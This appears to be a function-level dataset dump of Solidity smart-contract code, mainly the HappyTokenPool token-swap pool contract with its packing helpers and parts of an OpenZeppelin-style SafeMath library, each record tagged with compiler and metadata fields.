uint128(SafeMath.add(pool.exchanged_tokens[exchange_addr_i], input_total)); // update exchanged // penalize greedy attackers by placing duplication check at the very last require (pool.swapped_map[msg.sender] == 0, "Already swapped"); // update the remaining tokens and swapped token mapping pool.packed2 = rewriteBox(packed.packed2, 0, 128, SafeMath.sub(total_tokens, swapped_tokens)); pool.swapped_map[msg.sender] = swapped_tokens; // transfer the token after state changing // ETH comes with the tx, but ERC20 does not - INPUT if (exchange_addr != DEFAULT_ADDRESS) { IERC20(exchange_addr).safeTransferFrom(msg.sender, address(this), input_total); } // Swap success event emit SwapSuccess(id, msg.sender, exchange_addr, pool.token_address, input_total, swapped_tokens); // if unlock_time == 0, transfer the swapped tokens to the recipient address (msg.sender) - OUTPUT // if not, claim() needs to be called to get the token if (pool.unlock_time == 0) { transfer_token(pool.token_address, address(this), msg.sender, swapped_tokens); emit ClaimSuccess(id, msg.sender, block.timestamp, swapped_tokens, pool.token_address); } return swapped_tokens; } /** * check_availability() returns a bunch of pool info given a pool id * id swap pool id * this function returns 1. exchange_addrs that can be used to determine the index * 2. remaining target tokens * 3. if started * 4. if ended * 5. swapped amount of the query address * 5. exchanged amount of each token **/ function check_availability (bytes32 id) external view returns (address[] memory exchange_addrs, uint256 remaining, bool started, bool expired, bool unlocked, uint256 unlock_time, uint256 swapped, uint128[] memory exchanged_tokens) { Pool storage pool = pool_by_id[id]; return ( pool.exchange_addrs, // exchange_addrs 0x0 means destructed unbox(pool.packed2, 0, 128), // remaining block.timestamp > unbox(pool.packed1, 200, 28) + base_time, // started block.timestamp > unbox(pool.packed1, 228, 28) + base_time, // expired block.timestamp > pool.unlock_time + base_time, // unlocked pool.unlock_time + base_time, // unlock_time pool.swapped_map[msg.sender], // swapped number pool.exchanged_tokens // exchanged tokens ); } function claim(bytes32[] memory ito_ids) public { uint256 claimed_amount; for (uint256 i = 0; i < ito_ids.length; i++) { Pool storage pool = pool_by_id[ito_ids[i]]; if (pool.unlock_time + base_time > block.timestamp) continue; claimed_amount = pool.swapped_map[msg.sender]; if (claimed_amount == 0) continue; pool.swapped_map[msg.sender] = 0; transfer_token(pool.token_address, address(this), msg.sender, claimed_amount); emit ClaimSuccess(ito_ids[i], msg.sender, block.timestamp, claimed_amount, pool.token_address); } } function setUnlockTime(bytes32 id, uint256 _unlock_time) public { Pool storage pool = pool_by_id[id]; require(pool.creator == msg.sender, "Pool Creator Only"); pool.unlock_time = uint48(_unlock_time); } /** * destruct() destructs the given pool given the pool id * id swap pool id * this function can only be called by the pool creator. after validation, it transfers all the remaining token * (if any) and all the swapped tokens to the pool creator. it will then destruct the pool by reseting almost * all the variables to zero to get the gas refund. * note that this function may not work if a pool needs to transfer over ~200 tokens back to the address due to * the block gas limit. we have another function withdraw() to help the pool creator to withdraw a single token **/ function destruct (bytes32 id) public { Pool storage pool = pool_by_id[id]; require(msg.sender == pool.creator, "Only the pool creator can destruct."); uint256 expiration = unbox(pool.packed1, 228, 28) + base_time; uint256 remaining_tokens = unbox(pool.packed2, 0, 128); // only after expiration or the pool is empty require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet"); // if any left in the pool if (remaining_tokens != 0) { transfer_token(pool.token_address, address(this), msg.sender, remaining_tokens); } // transfer the swapped tokens accordingly // note this loop may exceed the block gas limit so if >200 exchange_addrs this may not work for (uint256 i = 0; i < pool.exchange_addrs.length; i++) { if (pool.exchanged_tokens[i] > 0) { // ERC20 if (pool.exchange_addrs[i] != DEFAULT_ADDRESS) transfer_token(pool.exchange_addrs[i], address(this), msg.sender, pool.exchanged_tokens[i]); // ETH else payable(msg.sender).transfer(pool.exchanged_tokens[i]); } } emit DestructSuccess(id, pool.token_address, remaining_tokens, pool.exchanged_tokens); // Gas Refund pool.packed1 = 0; pool.packed2 = 0; pool.creator = DEFAULT_ADDRESS; for (uint256 i = 0; i < pool.exchange_addrs.length; i++) { pool.exchange_addrs[i] = DEFAULT_ADDRESS; pool.exchanged_tokens[i] = 0; pool.ratios[i*2] = 0; pool.ratios[i*2+1] = 0; } } /** * withdraw() transfers out a single token after a pool is expired or empty * id swap pool id * addr_i withdraw token index * this function can only be called by the pool creator. after validation, it transfers the addr_i th token * out to the pool creator address. **/ function withdraw (bytes32 id, uint256 addr_i) public { Pool storage pool = pool_by_id[id]; require(msg.sender == pool.creator, "Only the pool creator can withdraw."); uint256 withdraw_balance = pool.exchanged_tokens[addr_i]; require(withdraw_balance > 0, "None of this token left"); uint256 expiration = unbox(pool.packed1, 228, 28) + base_time; uint256 remaining_tokens = unbox(pool.packed2, 0, 128); // only after expiration or the pool is empty require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet"); address token_address = pool.exchange_addrs[addr_i]; // ERC20 if (token_address != DEFAULT_ADDRESS) transfer_token(token_address, address(this), msg.sender, withdraw_balance); // ETH else payable(msg.sender).transfer(withdraw_balance); // clear the record pool.exchanged_tokens[addr_i] = 0; emit WithdrawSuccess(id, token_address, withdraw_balance); } // helper functions TODO: migrate this to a helper file /** * _qualification the smart contract address to verify qualification 160 * _hash sha3-256(password) 40 * _start start time delta 28 * _end end time delta 28 * wrap1() inserts the above variables into a 32-word block **/ function wrap1 (address _qualification, bytes32 _hash, uint256 _start, uint256 _end) internal pure returns (uint256 packed1) { uint256 _packed1 = 0; _packed1 |= box(0, 160, uint256(uint160(_qualification))); // _qualification = 160 bits _packed1 |= box(160, 40, uint256(_hash) >> 216); // hash = 40 bits (safe?) _packed1 |= box(200, 28, _start); // start_time = 28 bits _packed1 |= box(228, 28, _end); // expiration_time = 28 bits return _packed1; } /** * _total_tokens target remaining 128 * _limit single swap limit 128 * wrap2() inserts the above variables into a 32-word block **/ function wrap2 (uint256 _total_tokens, uint256 _limit) internal pure returns (uint256 packed2) { uint256 _packed2 = 0; _packed2 |= box(0, 128, _total_tokens); // total_tokens = 128 bits ~= 3.4e38 _packed2 |= box(128, 128, _limit); // limit = 128 bits return _packed2; } /** * position position in a memory block * size data size * data data * box() inserts the data in a 256bit word with the given position and returns it * data is checked by validRange() to make sure it is not over size **/ function box (uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { require(validRange(size, data), "Value out of range BOX"); assembly { // data << position boxed := shl(position, data) } } /** * position position in a memory block * size data size * base base data * unbox() extracts the data out of a 256bit word with the given position and returns it * base is checked by validRange() to make sure it is not over size **/ function unbox (uint256 base, uint16 position, uint16 size) internal pure returns (uint256 unboxed) { require(validRange(256, base), "Value out of range UNBOX"); assembly { // (((1 << size) - 1) & base >> position) unboxed := and(sub(shl(size, 1), 1), shr(position, base)) } } /** * size data size * data data * validRange() checks if the given data is over the specified data size **/ function validRange (uint16 size, uint256 data) internal pure returns(bool ifValid) { assembly { // 2^size > data or size ==256 ifValid := or(eq(size, 256), gt(shl(size, 1), data)) } } /** * _box 32byte data to be modified * position position in a memory block * size data size * data data to be inserted * rewriteBox() updates a 32byte word with a data at the given position with the specified size **/ function rewriteBox (uint256 _box, uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { assembly { // mask = ~((1 << size - 1) << position) // _box = (mask & _box) | ()data << position) boxed := or( and(_box, not(shl(position, sub(shl(size, 1), 1)))), shl(position, data)) } } /** * token_address ERC20 address * sender_address sender address * recipient_address recipient address * amount transfer amount * transfer_token() transfers a given amount of ERC20 from the sender address to the recipient address **/ function transfer_token (address token_address, address sender_address, address recipient_address, uint256 amount) internal { require(IERC20(token_address).balanceOf(sender_address) >= amount, "Balance not enough"); IERC20(token_address).safeTransfer(recipient_address, amount); } }
rewriteBox
function rewriteBox (uint256 _box, uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { assembly { // mask = ~((1 << size - 1) << position) // _box = (mask & _box) | ()data << position) boxed := or( and(_box, not(shl(position, sub(shl(size, 1), 1)))), shl(position, data)) } }
/** * _box 32byte data to be modified * position position in a memory block * size data size * data data to be inserted * rewriteBox() updates a 32byte word with a data at the given position with the specified size **/
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://514567ac97ce2a52346891fb1fa79398719dfc3625c962f89ef81e693295dbc7
{ "func_code_index": [ 23264, 23664 ] }
12,429
HappyTokenPool
contracts/ito.sol
0x198457da5e7f7b7fd916006837417dcf663f692d
Solidity
HappyTokenPool
contract HappyTokenPool { struct Pool { uint256 packed1; // qualification_address(160) the smart contract address to verify qualification // hash(40) start_time_delta(28) // expiration_time_delta(28) BIG ENDIAN uint256 packed2; // total_tokens(128) limit(128) uint48 unlock_time; // unlock_time + base_time = real_time address creator; address token_address; // the target token address address[] exchange_addrs; // a list of ERC20 addresses for swapping uint128[] exchanged_tokens; // a list of amounts of swapped tokens uint128[] ratios; // a list of swap ratios // length = 2 * exchange_addrs.length // [address1, target, address2, target, ...] // e.g. [1, 10] // represents 1 tokenA to swap 10 target token // note: each ratio pair needs to be coprime mapping(address => uint256) swapped_map; // swapped amount of an address } struct Packed { uint256 packed1; uint256 packed2; } // swap pool filling success event event FillSuccess ( uint256 total, bytes32 id, address creator, uint256 creation_time, address token_address, string message ); // swap success event event SwapSuccess ( bytes32 id, address swapper, address from_address, address to_address, uint256 from_value, uint256 to_value ); // claim success event event ClaimSuccess ( bytes32 id, address claimer, uint256 timestamp, uint256 to_value, address token_address ); // swap pool destruct success event event DestructSuccess ( bytes32 id, address token_address, uint256 remaining_balance, uint128[] exchanged_values ); // single token withdrawl from a swap pool success even event WithdrawSuccess ( bytes32 id, address token_address, uint256 withdraw_balance ); modifier creatorOnly { require(msg.sender == contract_creator, "Contract Creator Only"); _; } using SafeERC20 for IERC20; uint32 nonce; uint224 base_time; // timestamp = base_time + delta to save gas address public contract_creator; mapping(bytes32 => Pool) pool_by_id; // maps an id to a Pool instance string constant private magic = "Prince Philip, Queen Elizabeth II's husband, has died aged 99, \ Buckingham Palace has announced. A statement issued by the palace just after midday spoke of the \ Queen's deep sorrow following his death at Windsor Castle on Friday morning. The Duke of Edinbur"; bytes32 private seed; address DEFAULT_ADDRESS = 0x0000000000000000000000000000000000000000; // a universal address constructor() { contract_creator = msg.sender; seed = keccak256(abi.encodePacked(magic, block.timestamp, contract_creator)); base_time = 1616976000; // 00:00:00 03/30/2021 GMT(UTC+0) } /** * @dev * fill_pool() creates a swap pool with specific parameters from input * _hash sha3-256(password) * _start start time delta, real start time = base_time + _start * _end end time delta, real end time = base_time + _end * message swap pool creation message, only stored in FillSuccess event * _exchange_addrs swap token list (0x0 for ETH, only supports ETH and ERC20 now) * _ratios swap pair ratio list * _unlock_time unlock time delta real unlock time = base_time + _unlock_time * _token_addr swap target token address * _total_tokens target token total swap amount * _limit target token single swap limit * _qualification the qualification contract address based on IQLF to determine qualification * This function takes the above parameters and creates the pool. _total_tokens of the target token * will be successfully transferred to this contract securely on a successful run of this function. **/ function fill_pool (bytes32 _hash, uint256 _start, uint256 _end, string memory message, address[] memory _exchange_addrs, uint128[] memory _ratios, uint256 _unlock_time, address _token_addr, uint256 _total_tokens, uint256 _limit, address _qualification) public payable { nonce ++; require(_start < _end, "Start time should be earlier than end time."); require(_end < _unlock_time || _unlock_time == 0, "End time should be earlier than unlock time"); require(_limit <= _total_tokens, "Limit needs to be less than or equal to the total supply"); require(_total_tokens < 2 ** 128, "No more than 2^128 tokens(incluidng decimals) allowed"); require(IERC20(_token_addr).allowance(msg.sender, address(this)) >= _total_tokens, "Insuffcient allowance"); require(_exchange_addrs.length > 0, "Exchange token addresses need to be set"); require(_ratios.length == 2 * _exchange_addrs.length, "Size of ratios = 2 * size of exchange_addrs"); bytes32 _id = keccak256(abi.encodePacked(msg.sender, block.timestamp, nonce, seed)); Pool storage pool = pool_by_id[_id]; pool.packed1 = wrap1(_qualification, _hash, _start, _end); // 256 bytes detail in wrap1() pool.packed2 = wrap2(_total_tokens, _limit); // 256 bytes detail in wrap2() pool.unlock_time = uint48(_unlock_time); // 48 bytes unlock_time 0 -> unlocked pool.creator = msg.sender; // 160 bytes pool creator pool.exchange_addrs = _exchange_addrs; // 160 bytes target token pool.token_address = _token_addr; // 160 bytes target token address // Init each token swapped amount to 0 for (uint256 i = 0; i < _exchange_addrs.length; i++) { if (_exchange_addrs[i] != DEFAULT_ADDRESS) { // TODO: Is there a better way to validate an ERC20? require(IERC20(_exchange_addrs[i]).totalSupply() > 0, "Not a valid ERC20"); } pool.exchanged_tokens.push(0); } // Make sure each ratio is co-prime to prevent overflow for (uint256 i = 0; i < _ratios.length; i+= 2) { uint256 divA = SafeMath.div(_ratios[i], _ratios[i+1]); // Non-zero checked by SafteMath.div uint256 divB = SafeMath.div(_ratios[i+1], _ratios[i]); // Non-zero checked by SafteMath.div if (_ratios[i] == 1) { require(divB == _ratios[i+1]); } else if (_ratios[i+1] == 1) { require(divA == _ratios[i]); } else { // if a and b are co-prime, then a / b * b != a and b / a * a != b require(divA * _ratios[i+1] != _ratios[i]); require(divB * _ratios[i] != _ratios[i+1]); } } pool.ratios = _ratios; // 256 * k IERC20(_token_addr).safeTransferFrom(msg.sender, address(this), _total_tokens); emit FillSuccess(_total_tokens, _id, msg.sender, block.timestamp, _token_addr, message); } /** * @dev * swap() allows users to swap tokens in a swap pool * id swap pool id * verification sha3-256(sha3-256(password)[:40]+swapper_address) * validation sha3-256(swapper_address) * exchange_addr_i the index of the exchange address of the list * input_total the input amount of the specific token * This function is called by the swapper who approves the specific ERC20 or directly transfer the ETH * first and wants to swap the desired amount of the target token. The swapped amount is calculated * based on the pool ratio. After swap successfully, the same account can not swap the same pool again. **/ function swap (bytes32 id, bytes32 verification, bytes32 validation, uint256 exchange_addr_i, uint128 input_total) public payable returns (uint256 swapped) { Pool storage pool = pool_by_id[id]; Packed memory packed = Packed(pool.packed1, pool.packed2); require ( IQLF( address( uint160(unbox(packed.packed1, 0, 160))) ).logQualified(msg.sender, uint256(unbox(packed.packed1, 200, 28) + base_time) ) == true, "Not Qualified" ); require (unbox(packed.packed1, 200, 28) + base_time < block.timestamp, "Not started."); require (unbox(packed.packed1, 228, 28) + base_time > block.timestamp, "Expired."); // sha3(sha3(passowrd)[:40] + msg.sender) so that the raw password will never appear in the contract require (verification == keccak256(abi.encodePacked(unbox(packed.packed1, 160, 40), msg.sender)), 'Wrong Password'); // sha3(msg.sender) to protect from front runs (but this is kinda naive since the contract is open sourced) require (validation == keccak256(abi.encodePacked(msg.sender)), "Validation Failed"); uint256 total_tokens = unbox(packed.packed2, 0, 128); // revert if the pool is empty require (total_tokens > 0, "Out of Stock"); address exchange_addr = pool.exchange_addrs[exchange_addr_i]; uint256 ratioA = pool.ratios[exchange_addr_i*2]; uint256 ratioB = pool.ratios[exchange_addr_i*2 + 1]; // check if the input is enough for the desired transfer if (exchange_addr == DEFAULT_ADDRESS) { require(msg.value == input_total, 'No enough ether.'); } else { uint256 allowance = IERC20(exchange_addr).allowance(msg.sender, address(this)); require(allowance >= input_total, 'No enough allowance.'); } uint256 swapped_tokens; // this calculation won't be overflow thanks to the SafeMath and the co-prime test swapped_tokens = SafeMath.div(SafeMath.mul(input_total, ratioB), ratioA); // 2^256=10e77 >> 10e18 * 10e18 require(swapped_tokens > 0, "Better not draw water with a sieve"); uint256 limit = unbox(packed.packed2, 128, 128); if (swapped_tokens > limit) { // don't be greedy - you can only get at most limit tokens swapped_tokens = limit; input_total = uint128(SafeMath.div(SafeMath.mul(limit, ratioA), ratioB)); // Update input_total } else if (swapped_tokens > total_tokens) { // if the left tokens are not enough swapped_tokens = total_tokens; input_total = uint128(SafeMath.div(SafeMath.mul(total_tokens, ratioA), ratioB)); // Update input_total // return the eth if (exchange_addr == DEFAULT_ADDRESS) payable(msg.sender).transfer(msg.value - input_total); } require(swapped_tokens <= limit); // make sure again pool.exchanged_tokens[exchange_addr_i] = uint128(SafeMath.add(pool.exchanged_tokens[exchange_addr_i], input_total)); // update exchanged // penalize greedy attackers by placing duplication check at the very last require (pool.swapped_map[msg.sender] == 0, "Already swapped"); // update the remaining tokens and swapped token mapping pool.packed2 = rewriteBox(packed.packed2, 0, 128, SafeMath.sub(total_tokens, swapped_tokens)); pool.swapped_map[msg.sender] = swapped_tokens; // transfer the token after state changing // ETH comes with the tx, but ERC20 does not - INPUT if (exchange_addr != DEFAULT_ADDRESS) { IERC20(exchange_addr).safeTransferFrom(msg.sender, address(this), input_total); } // Swap success event emit SwapSuccess(id, msg.sender, exchange_addr, pool.token_address, input_total, swapped_tokens); // if unlock_time == 0, transfer the swapped tokens to the recipient address (msg.sender) - OUTPUT // if not, claim() needs to be called to get the token if (pool.unlock_time == 0) { transfer_token(pool.token_address, address(this), msg.sender, swapped_tokens); emit ClaimSuccess(id, msg.sender, block.timestamp, swapped_tokens, pool.token_address); } return swapped_tokens; } /** * check_availability() returns a bunch of pool info given a pool id * id swap pool id * this function returns 1. exchange_addrs that can be used to determine the index * 2. remaining target tokens * 3. if started * 4. if ended * 5. swapped amount of the query address * 5. exchanged amount of each token **/ function check_availability (bytes32 id) external view returns (address[] memory exchange_addrs, uint256 remaining, bool started, bool expired, bool unlocked, uint256 unlock_time, uint256 swapped, uint128[] memory exchanged_tokens) { Pool storage pool = pool_by_id[id]; return ( pool.exchange_addrs, // exchange_addrs 0x0 means destructed unbox(pool.packed2, 0, 128), // remaining block.timestamp > unbox(pool.packed1, 200, 28) + base_time, // started block.timestamp > unbox(pool.packed1, 228, 28) + base_time, // expired block.timestamp > pool.unlock_time + base_time, // unlocked pool.unlock_time + base_time, // unlock_time pool.swapped_map[msg.sender], // swapped number pool.exchanged_tokens // exchanged tokens ); } function claim(bytes32[] memory ito_ids) public { uint256 claimed_amount; for (uint256 i = 0; i < ito_ids.length; i++) { Pool storage pool = pool_by_id[ito_ids[i]]; if (pool.unlock_time + base_time > block.timestamp) continue; claimed_amount = pool.swapped_map[msg.sender]; if (claimed_amount == 0) continue; pool.swapped_map[msg.sender] = 0; transfer_token(pool.token_address, address(this), msg.sender, claimed_amount); emit ClaimSuccess(ito_ids[i], msg.sender, block.timestamp, claimed_amount, pool.token_address); } } function setUnlockTime(bytes32 id, uint256 _unlock_time) public { Pool storage pool = pool_by_id[id]; require(pool.creator == msg.sender, "Pool Creator Only"); pool.unlock_time = uint48(_unlock_time); } /** * destruct() destructs the given pool given the pool id * id swap pool id * this function can only be called by the pool creator. after validation, it transfers all the remaining token * (if any) and all the swapped tokens to the pool creator. it will then destruct the pool by reseting almost * all the variables to zero to get the gas refund. * note that this function may not work if a pool needs to transfer over ~200 tokens back to the address due to * the block gas limit. we have another function withdraw() to help the pool creator to withdraw a single token **/ function destruct (bytes32 id) public { Pool storage pool = pool_by_id[id]; require(msg.sender == pool.creator, "Only the pool creator can destruct."); uint256 expiration = unbox(pool.packed1, 228, 28) + base_time; uint256 remaining_tokens = unbox(pool.packed2, 0, 128); // only after expiration or the pool is empty require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet"); // if any left in the pool if (remaining_tokens != 0) { transfer_token(pool.token_address, address(this), msg.sender, remaining_tokens); } // transfer the swapped tokens accordingly // note this loop may exceed the block gas limit so if >200 exchange_addrs this may not work for (uint256 i = 0; i < pool.exchange_addrs.length; i++) { if (pool.exchanged_tokens[i] > 0) { // ERC20 if (pool.exchange_addrs[i] != DEFAULT_ADDRESS) transfer_token(pool.exchange_addrs[i], address(this), msg.sender, pool.exchanged_tokens[i]); // ETH else payable(msg.sender).transfer(pool.exchanged_tokens[i]); } } emit DestructSuccess(id, pool.token_address, remaining_tokens, pool.exchanged_tokens); // Gas Refund pool.packed1 = 0; pool.packed2 = 0; pool.creator = DEFAULT_ADDRESS; for (uint256 i = 0; i < pool.exchange_addrs.length; i++) { pool.exchange_addrs[i] = DEFAULT_ADDRESS; pool.exchanged_tokens[i] = 0; pool.ratios[i*2] = 0; pool.ratios[i*2+1] = 0; } } /** * withdraw() transfers out a single token after a pool is expired or empty * id swap pool id * addr_i withdraw token index * this function can only be called by the pool creator. after validation, it transfers the addr_i th token * out to the pool creator address. **/ function withdraw (bytes32 id, uint256 addr_i) public { Pool storage pool = pool_by_id[id]; require(msg.sender == pool.creator, "Only the pool creator can withdraw."); uint256 withdraw_balance = pool.exchanged_tokens[addr_i]; require(withdraw_balance > 0, "None of this token left"); uint256 expiration = unbox(pool.packed1, 228, 28) + base_time; uint256 remaining_tokens = unbox(pool.packed2, 0, 128); // only after expiration or the pool is empty require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet"); address token_address = pool.exchange_addrs[addr_i]; // ERC20 if (token_address != DEFAULT_ADDRESS) transfer_token(token_address, address(this), msg.sender, withdraw_balance); // ETH else payable(msg.sender).transfer(withdraw_balance); // clear the record pool.exchanged_tokens[addr_i] = 0; emit WithdrawSuccess(id, token_address, withdraw_balance); } // helper functions TODO: migrate this to a helper file /** * _qualification the smart contract address to verify qualification 160 * _hash sha3-256(password) 40 * _start start time delta 28 * _end end time delta 28 * wrap1() inserts the above variables into a 32-word block **/ function wrap1 (address _qualification, bytes32 _hash, uint256 _start, uint256 _end) internal pure returns (uint256 packed1) { uint256 _packed1 = 0; _packed1 |= box(0, 160, uint256(uint160(_qualification))); // _qualification = 160 bits _packed1 |= box(160, 40, uint256(_hash) >> 216); // hash = 40 bits (safe?) _packed1 |= box(200, 28, _start); // start_time = 28 bits _packed1 |= box(228, 28, _end); // expiration_time = 28 bits return _packed1; } /** * _total_tokens target remaining 128 * _limit single swap limit 128 * wrap2() inserts the above variables into a 32-word block **/ function wrap2 (uint256 _total_tokens, uint256 _limit) internal pure returns (uint256 packed2) { uint256 _packed2 = 0; _packed2 |= box(0, 128, _total_tokens); // total_tokens = 128 bits ~= 3.4e38 _packed2 |= box(128, 128, _limit); // limit = 128 bits return _packed2; } /** * position position in a memory block * size data size * data data * box() inserts the data in a 256bit word with the given position and returns it * data is checked by validRange() to make sure it is not over size **/ function box (uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { require(validRange(size, data), "Value out of range BOX"); assembly { // data << position boxed := shl(position, data) } } /** * position position in a memory block * size data size * base base data * unbox() extracts the data out of a 256bit word with the given position and returns it * base is checked by validRange() to make sure it is not over size **/ function unbox (uint256 base, uint16 position, uint16 size) internal pure returns (uint256 unboxed) { require(validRange(256, base), "Value out of range UNBOX"); assembly { // (((1 << size) - 1) & base >> position) unboxed := and(sub(shl(size, 1), 1), shr(position, base)) } } /** * size data size * data data * validRange() checks if the given data is over the specified data size **/ function validRange (uint16 size, uint256 data) internal pure returns(bool ifValid) { assembly { // 2^size > data or size ==256 ifValid := or(eq(size, 256), gt(shl(size, 1), data)) } } /** * _box 32byte data to be modified * position position in a memory block * size data size * data data to be inserted * rewriteBox() updates a 32byte word with a data at the given position with the specified size **/ function rewriteBox (uint256 _box, uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { assembly { // mask = ~((1 << size - 1) << position) // _box = (mask & _box) | ()data << position) boxed := or( and(_box, not(shl(position, sub(shl(size, 1), 1)))), shl(position, data)) } } /** * token_address ERC20 address * sender_address sender address * recipient_address recipient address * amount transfer amount * transfer_token() transfers a given amount of ERC20 from the sender address to the recipient address **/ function transfer_token (address token_address, address sender_address, address recipient_address, uint256 amount) internal { require(IERC20(token_address).balanceOf(sender_address) >= amount, "Balance not enough"); IERC20(token_address).safeTransfer(recipient_address, amount); } }
transfer_token
function transfer_token (address token_address, address sender_address, address recipient_address, uint256 amount) internal { require(IERC20(token_address).balanceOf(sender_address) >= amount, "Balance not enough"); IERC20(token_address).safeTransfer(recipient_address, amount); }
/** * token_address ERC20 address * sender_address sender address * recipient_address recipient address * amount transfer amount * transfer_token() transfers a given amount of ERC20 from the sender address to the recipient address **/
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://514567ac97ce2a52346891fb1fa79398719dfc3625c962f89ef81e693295dbc7
{ "func_code_index": [ 23969, 24307 ] }
12,430
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } }
mul
function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; }
/** * @dev Multiplies two unsigned integers, reverts on overflow. */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 104, 542 ] }
12,431
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } }
div
function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; }
/** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 670, 978 ] }
12,432
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } }
sub
function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; }
/** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 1109, 1264 ] }
12,433
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
SafeMath
